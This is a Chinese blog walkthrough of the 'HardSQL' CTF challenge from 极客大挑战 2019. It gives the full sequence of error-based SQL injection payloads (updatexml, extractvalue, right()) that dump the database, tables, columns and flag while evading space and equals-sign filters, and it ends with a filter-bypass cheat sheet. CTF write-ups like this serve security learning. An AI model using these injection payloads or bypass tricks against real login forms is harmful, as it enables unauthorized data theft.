sql注入报错注入【极客大挑战 2019】HardSQL解题
【极客大挑战 2019】HardSQL解题
一.试万能密码
username=admin' or 1='1&password=1
二.尝试绕开
大写,双写。
看来是没办法使用基础手段绕开了。
这次没有过滤or,但是过滤了空格,=。
查了一下得知是考报错注入,使用extractvalue和updatexml。
三.爆库
username=admin'or(updatexml(1,concat(0x7e,database()),1))%23&password=1
得到库名:geek。
四.爆表
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1
得到表名:H4rDsq1。
五.爆字段
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1
得到字段:id,username,password。
六.爆内容
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=1
不完全,这里是因为extractvalue和updatexml只显示32位字符。
flag在password里面,试试看只查password。
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=1
flag{fd39fd4a-a6af-4b31-967e-bf
还是不能显示完全,这里就需要使用right()语句帮忙。
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,30))))from(H4rDsq1)),0x7e),1))%23&password=1
剩余部分:a-a6af-4b31-967e-bf1dff28f78f}(这里如果输入的是32会把}挤掉。)
最终flag:flag{fd39fd4a-a6af-4b31-967e-bf1dff28f78f}
补充
最开始也可以这样写,效果是相同的。
username=admin'or(extractvalue(1,concat(0x7e,database())))%23&password=1
两种报错查询语句
extractvalue(1,concat(07xe,语句))
updatexml(1,concat(07xe,语句),1)
http://127.0.0.1/sqlilabs/Less-2?id=1' or extractvalue(1,concat(0x23,database()))-- -
http://127.0.0.1/sqlilabs/Less-2?id=1' or updatexml(1,concat(0x23,database()),1)-- -
left(arg,length)函数与right(arg,length)函数相对应,能返回arg(char或者是binary string)左边/右边length个长度的字符串。
SQL注入中关键词替换
空格
-
() ————括号将需要分开的语句括起来。
-
/**/ ————在单词与单词直接插入注释。
=符号
like ————需要=的地方换成like
!=符号
<> ————需要!=的地方换成<>
or
|| ————需要or的地方换成||
and
&& ————需要and的地方换成&&
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)